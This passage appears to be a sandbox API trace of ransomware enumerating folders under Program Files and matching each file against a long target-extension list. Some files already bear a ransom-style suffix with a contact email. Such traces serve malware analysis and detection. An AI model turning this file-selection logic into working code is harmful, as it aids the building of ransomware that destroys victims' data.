lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8e7e2f50, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x8e7e2f50, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.122] FindNextFileW (in: hFindFile=0x63ef88, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e5a7ab0, ftCreationTime.dwHighDateTime=0x1d50335, ftLastAccessTime.dwLowDateTime=0x8e5a7ab0, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x8e640030, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x63e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS", cAlternateFileName="ACCESS~1.MER")) returned 1 [0258.898] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.899] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0258.902] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.902] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0258.903] RtlpDeCommitFreeBlock () [0258.903] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0258.903] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl") returned 52 [0258.903] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl") returned 1 [0258.903] lstrlenW (lpString="BabyGirl") returned 8 [0258.903] lstrcmpiW (lpString1="C:\\Windows", lpString2="BabyGirl") returned 1 [0258.903] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x46441b0 [0258.903] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl") returned 52 [0258.903] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63f0c8 [0258.904] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.904] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0258.904] lstrlenW (lpString="16_9-frame-background.png") returned 25 [0258.904] lstrlenW (lpString=".1cd") returned 4 [0258.904] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0258.904] lstrlenW (lpString=".3ds") returned 4 [0258.905] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0258.905] lstrlenW (lpString=".3fr") returned 4 [0258.905] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0258.905] lstrlenW (lpString=".3g2") returned 4 [0258.905] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0258.905] lstrlenW (lpString=".3gp") returned 4 [0258.905] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0258.905] lstrlenW (lpString=".7z") returned 3 [0258.905] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0258.905] lstrlenW (lpString=".accda") returned 6 [0258.905] lstrcmpiW (lpString1=".accda", lpString2="nd.png") returned -1 [0258.905] lstrlenW (lpString=".accdb") returned 6 [0258.905] lstrcmpiW (lpString1=".accdb", lpString2="nd.png") returned -1 [0258.905] lstrlenW (lpString=".accdc") returned 6 [0258.905] lstrcmpiW (lpString1=".accdc", lpString2="nd.png") returned -1 [0258.905] lstrlenW (lpString=".accde") returned 6 [0258.905] lstrcmpiW (lpString1=".accde", lpString2="nd.png") returned -1 [0258.905] lstrlenW (lpString=".accdt") returned 6 [0258.905] lstrcmpiW (lpString1=".accdt", lpString2="nd.png") returned -1 [0258.905] lstrlenW (lpString=".accdw") returned 6 [0258.905] lstrcmpiW (lpString1=".accdw", lpString2="nd.png") returned -1 [0258.905] lstrlenW (lpString=".adb") returned 4 [0258.905] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0258.905] lstrlenW (lpString=".adp") returned 4 [0258.905] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0258.906] lstrlenW (lpString=".ai") returned 3 [0258.906] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0258.906] lstrlenW (lpString=".ai3") returned 4 [0258.906] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0258.906] lstrlenW (lpString=".ai4") returned 4 [0258.906] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0258.906] lstrlenW (lpString=".ai5") returned 4 [0258.906] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0258.906] lstrlenW (lpString=".ai6") returned 4 [0258.906] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0258.906] lstrlenW (lpString=".ai7") returned 4 [0258.906] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0258.906] lstrlenW (lpString=".ai8") returned 4 [0258.906] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0258.906] lstrlenW (lpString=".anim") returned 5 [0258.906] lstrcmpiW (lpString1=".anim", lpString2="d.png") returned -1 [0258.906] lstrlenW (lpString=".arw") returned 4 [0258.906] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0258.906] lstrlenW (lpString=".as") returned 3 [0258.906] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0258.906] lstrlenW (lpString=".asa") returned 4 [0258.906] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0258.906] lstrlenW (lpString=".asc") returned 4 [0258.906] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0258.906] lstrlenW (lpString=".ascx") returned 5 [0258.906] lstrcmpiW (lpString1=".ascx", lpString2="d.png") returned -1 [0258.906] lstrlenW (lpString=".asm") returned 4 [0258.906] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0258.906] lstrlenW (lpString=".asmx") returned 5 [0258.906] lstrcmpiW (lpString1=".asmx", lpString2="d.png") returned -1 [0258.906] lstrlenW (lpString=".asp") returned 4 [0258.907] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0258.907] lstrlenW (lpString=".aspx") returned 5 [0258.907] lstrcmpiW (lpString1=".aspx", lpString2="d.png") returned -1 [0258.907] lstrlenW (lpString=".asr") returned 4 [0258.907] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0258.907] lstrlenW (lpString=".asx") returned 4 [0258.907] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0258.907] lstrlenW (lpString=".avi") returned 4 [0258.907] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0258.907] lstrlenW (lpString=".avs") returned 4 [0258.907] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0258.907] lstrlenW (lpString=".backup") returned 7 [0258.907] lstrcmpiW (lpString1=".backup", lpString2="und.png") returned -1 [0258.907] lstrlenW (lpString=".bak") returned 4 [0258.907] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0258.907] lstrlenW (lpString=".bay") returned 4 [0258.907] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0258.907] lstrlenW (lpString=".bd") returned 3 [0258.907] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0258.907] lstrlenW (lpString=".bin") returned 4 [0258.907] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0258.907] lstrlenW (lpString=".bmp") returned 4 [0258.907] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0258.907] lstrlenW (lpString=".bz2") returned 4 [0258.907] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0258.907] lstrlenW (lpString=".c") returned 2 [0258.907] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0258.908] lstrlenW (lpString=".cdr") returned 4 [0258.908] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0258.908] lstrlenW (lpString=".cer") returned 4 [0258.908] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0258.908] lstrlenW (lpString=".cf") returned 3 [0258.908] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0258.908] lstrlenW (lpString=".cfc") returned 4 [0258.908] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0258.908] lstrlenW (lpString=".cfm") returned 4 [0258.908] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0258.908] lstrlenW (lpString=".cfml") returned 5 [0258.908] lstrcmpiW (lpString1=".cfml", lpString2="d.png") returned -1 [0258.908] lstrlenW (lpString=".cfu") returned 4 [0258.908] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0258.908] lstrlenW (lpString=".chm") returned 4 [0258.908] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0258.908] lstrlenW (lpString=".cin") returned 4 [0258.908] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0258.908] lstrlenW (lpString=".class") returned 6 [0258.908] lstrcmpiW (lpString1=".class", lpString2="nd.png") returned -1 [0258.908] lstrlenW (lpString=".clx") returned 4 [0258.908] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0258.908] lstrlenW (lpString=".config") returned 7 [0258.908] lstrcmpiW (lpString1=".config", lpString2="und.png") returned -1 [0258.908] lstrlenW (lpString=".cpp") returned 4 [0258.909] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0258.909] lstrlenW (lpString=".cr2") returned 4 [0258.909] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0258.909] lstrlenW (lpString=".crt") returned 4 [0258.909] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0258.909] lstrlenW (lpString=".crw") returned 4 [0258.909] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0258.909] lstrlenW (lpString=".cs") returned 3 [0258.909] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0258.909] lstrlenW (lpString=".css") returned 4 [0258.909] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0258.909] lstrlenW (lpString=".csv") returned 4 [0258.909] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0258.909] lstrlenW (lpString=".cub") returned 4 [0258.909] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0258.909] lstrlenW (lpString=".dae") returned 4 [0258.909] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0258.909] lstrlenW (lpString=".dat") returned 4 [0258.909] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0258.909] lstrlenW (lpString=".db") returned 3 [0258.909] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0258.909] lstrlenW (lpString=".dbf") returned 4 [0258.909] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0258.909] lstrlenW (lpString=".dbx") returned 4 [0258.909] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0258.909] lstrlenW (lpString=".dc3") returned 4 [0258.910] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0258.910] lstrlenW (lpString=".dcm") returned 4 [0258.910] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0258.910] lstrlenW (lpString=".dcr") returned 4 [0258.910] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0258.910] lstrlenW (lpString=".der") returned 4 [0258.910] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0258.910] lstrlenW (lpString=".dib") returned 4 [0258.910] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0258.910] lstrlenW (lpString=".dic") returned 4 [0258.910] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0258.910] lstrlenW (lpString=".dif") returned 4 [0258.910] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0258.910] lstrlenW (lpString=".divx") returned 5 [0258.910] lstrcmpiW (lpString1=".divx", lpString2="d.png") returned -1 [0258.910] lstrlenW (lpString=".djvu") returned 5 [0258.910] lstrcmpiW (lpString1=".djvu", lpString2="d.png") returned -1 [0258.910] lstrlenW (lpString=".dng") returned 4 [0258.910] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0258.910] lstrlenW (lpString=".doc") returned 4 [0258.910] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0258.910] lstrlenW (lpString=".docm") returned 5 [0258.910] lstrcmpiW (lpString1=".docm", lpString2="d.png") returned -1 [0258.910] lstrlenW (lpString=".docx") returned 5 [0258.910] lstrcmpiW (lpString1=".docx", lpString2="d.png") returned -1 [0258.910] lstrlenW (lpString=".dot") returned 4 [0258.910] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0258.910] lstrlenW (lpString=".dotm") returned 5 [0258.910] lstrcmpiW (lpString1=".dotm", lpString2="d.png") returned -1 [0258.910] lstrlenW (lpString=".dotx") returned 5 [0258.910] lstrcmpiW (lpString1=".dotx", lpString2="d.png") returned -1 [0258.911] lstrlenW (lpString=".dpx") returned 4 [0258.911] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0258.911] lstrlenW (lpString=".dqy") returned 4 [0258.911] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0258.911] lstrlenW (lpString=".dsn") returned 4 [0258.911] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0258.911] lstrlenW (lpString=".dt") returned 3 [0258.911] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0258.911] lstrlenW (lpString=".dtd") returned 4 [0258.911] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0258.911] lstrlenW (lpString=".dwg") returned 4 [0258.911] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0258.911] lstrlenW (lpString=".dwt") returned 4 [0258.911] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0258.911] lstrlenW (lpString=".dx") returned 3 [0258.911] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0258.911] lstrlenW (lpString=".dxf") returned 4 [0258.911] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0258.911] lstrlenW (lpString=".edml") returned 5 [0258.911] lstrcmpiW (lpString1=".edml", lpString2="d.png") returned -1 [0258.911] lstrlenW (lpString=".efd") returned 4 [0258.911] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0258.911] lstrlenW (lpString=".elf") returned 4 [0258.911] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0258.911] lstrlenW (lpString=".emf") returned 4 [0258.911] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0258.911] lstrlenW (lpString=".emz") returned 4 [0258.911] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0258.911] lstrlenW (lpString=".epf") returned 4 [0258.911] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0258.912] lstrlenW (lpString=".eps") returned 4 [0258.912] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0258.912] lstrlenW (lpString=".epsf") returned 5 [0258.912] lstrcmpiW (lpString1=".epsf", lpString2="d.png") returned -1 [0258.912] lstrlenW (lpString=".epsp") returned 5 [0258.912] lstrcmpiW (lpString1=".epsp", lpString2="d.png") returned -1 [0258.912] lstrlenW (lpString=".erf") returned 4 [0258.912] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0258.912] lstrlenW (lpString=".exr") returned 4 [0258.912] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0258.912] lstrlenW (lpString=".f4v") returned 4 [0258.912] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0258.912] lstrlenW (lpString=".fido") returned 5 [0258.912] lstrcmpiW (lpString1=".fido", lpString2="d.png") returned -1 [0258.912] lstrlenW (lpString=".flm") returned 4 [0258.912] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0258.912] lstrlenW (lpString=".flv") returned 4 [0258.912] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0258.912] lstrlenW (lpString=".frm") returned 4 [0258.912] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0258.912] lstrlenW (lpString=".fxg") returned 4 [0258.912] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0258.912] lstrlenW (lpString=".geo") returned 4 [0258.912] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0258.912] lstrlenW (lpString=".gif") returned 4 [0258.912] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0258.912] lstrlenW (lpString=".grs") returned 4 [0258.912] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0258.912] lstrlenW (lpString=".gz") returned 3 [0258.912] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0258.912] lstrlenW (lpString=".h") returned 2 [0258.913] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0258.913] lstrlenW (lpString=".hdr") returned 4 [0258.913] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0258.913] lstrlenW (lpString=".hpp") returned 4 [0258.913] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0258.913] lstrlenW (lpString=".hta") returned 4 [0258.913] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0258.913] lstrlenW (lpString=".htc") returned 4 [0258.913] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0258.913] lstrlenW (lpString=".htm") returned 4 [0258.913] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0258.913] lstrlenW (lpString=".html") returned 5 [0258.913] lstrcmpiW (lpString1=".html", lpString2="d.png") returned -1 [0258.913] lstrlenW (lpString=".icb") returned 4 [0258.913] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0258.913] lstrlenW (lpString=".ics") returned 4 [0258.913] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0258.913] lstrlenW (lpString=".iff") returned 4 [0258.913] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0258.913] lstrlenW (lpString=".inc") returned 4 [0258.913] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0258.913] lstrlenW (lpString=".indd") returned 5 [0258.913] lstrcmpiW (lpString1=".indd", lpString2="d.png") returned -1 [0258.913] lstrlenW (lpString=".ini") returned 4 [0258.913] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0258.913] lstrlenW (lpString=".iqy") returned 4 [0258.913] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0258.914] lstrlenW (lpString=".j2c") returned 4 [0258.914] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0258.914] lstrlenW (lpString=".j2k") returned 4 [0258.914] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0258.914] lstrlenW (lpString=".java") returned 5 [0258.914] lstrcmpiW (lpString1=".java", lpString2="d.png") returned -1 [0258.914] lstrlenW (lpString=".jp2") returned 4 [0258.914] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0258.914] lstrlenW (lpString=".jpc") returned 4 [0258.914] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0258.914] lstrlenW (lpString=".jpe") returned 4 [0258.914] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0258.914] lstrlenW (lpString=".jpeg") returned 5 [0258.914] lstrcmpiW (lpString1=".jpeg", lpString2="d.png") returned -1 [0258.914] lstrlenW (lpString=".jpf") returned 4 [0258.914] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0258.914] lstrlenW (lpString=".jpg") returned 4 [0258.914] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0258.914] lstrlenW (lpString=".jpx") returned 4 [0258.914] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0258.914] lstrlenW (lpString=".js") returned 3 [0258.914] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0258.914] lstrlenW (lpString=".jsf") returned 4 [0258.914] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0258.914] lstrlenW (lpString=".json") returned 5 [0258.914] lstrcmpiW (lpString1=".json", lpString2="d.png") returned -1 [0258.914] lstrlenW (lpString=".jsp") returned 4 [0258.914] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0258.914] lstrlenW (lpString=".kdc") returned 4 [0258.914] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0258.915] lstrlenW (lpString=".kmz") returned 4 [0258.915] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0258.915] lstrlenW (lpString=".kwm") returned 4 [0258.915] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0258.915] lstrlenW (lpString=".lasso") returned 6 [0258.915] lstrcmpiW (lpString1=".lasso", lpString2="nd.png") returned -1 [0258.915] lstrlenW (lpString=".lbi") returned 4 [0258.915] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0258.915] lstrlenW (lpString=".lgf") returned 4 [0258.915] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0258.915] lstrlenW (lpString=".lgp") returned 4 [0258.915] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0258.915] lstrlenW (lpString=".log") returned 4 [0258.915] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0258.915] lstrlenW (lpString=".m1v") returned 4 [0258.915] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0258.915] lstrlenW (lpString=".m4a") returned 4 [0258.915] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0258.915] lstrlenW (lpString=".m4v") returned 4 [0258.915] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0258.915] lstrlenW (lpString=".max") returned 4 [0258.915] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0258.915] lstrlenW (lpString=".md") returned 3 [0258.915] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0258.915] lstrlenW (lpString=".mda") returned 4 [0258.915] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0258.916] lstrlenW (lpString=".mdb") returned 4 [0258.916] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0258.916] lstrlenW (lpString=".mde") returned 4 [0258.916] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0258.916] lstrlenW (lpString=".mdf") returned 4 [0258.916] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0258.916] lstrlenW (lpString=".mdw") returned 4 [0258.916] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0258.916] lstrlenW (lpString=".mef") returned 4 [0258.916] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0258.916] lstrlenW (lpString=".mft") returned 4 [0258.916] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0258.916] lstrlenW (lpString=".mfw") returned 4 [0258.916] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0258.916] lstrlenW (lpString=".mht") returned 4 [0258.916] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0258.916] lstrlenW (lpString=".mhtml") returned 6 [0258.916] lstrcmpiW (lpString1=".mhtml", lpString2="nd.png") returned -1 [0258.916] lstrlenW (lpString=".mka") returned 4 [0258.916] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0258.916] lstrlenW (lpString=".mkidx") returned 6 [0258.916] lstrcmpiW (lpString1=".mkidx", lpString2="nd.png") returned -1 [0258.916] lstrlenW (lpString=".mkv") returned 4 [0258.916] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0258.916] lstrlenW (lpString=".mos") returned 4 [0258.916] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0258.916] lstrlenW (lpString=".mov") returned 4 [0258.916] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0258.916] lstrlenW (lpString=".mp3") returned 4 [0258.916] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0258.917] lstrlenW (lpString=".mp4") returned 4 [0258.917] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0258.917] lstrlenW (lpString=".mpeg") returned 5 [0258.917] lstrcmpiW (lpString1=".mpeg", lpString2="d.png") returned -1 [0258.917] lstrlenW (lpString=".mpg") returned 4 [0258.917] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0258.917] lstrlenW (lpString=".mpv") returned 4 [0258.917] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1 [0258.917] lstrlenW (lpString=".mrw") returned 4 [0258.917] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0258.917] lstrlenW (lpString=".msg") returned 4 [0258.917] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0258.917] lstrlenW (lpString=".mxl") returned 4 [0258.917] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0258.917] lstrlenW (lpString=".myd") returned 4 [0258.917] lstrcmpiW 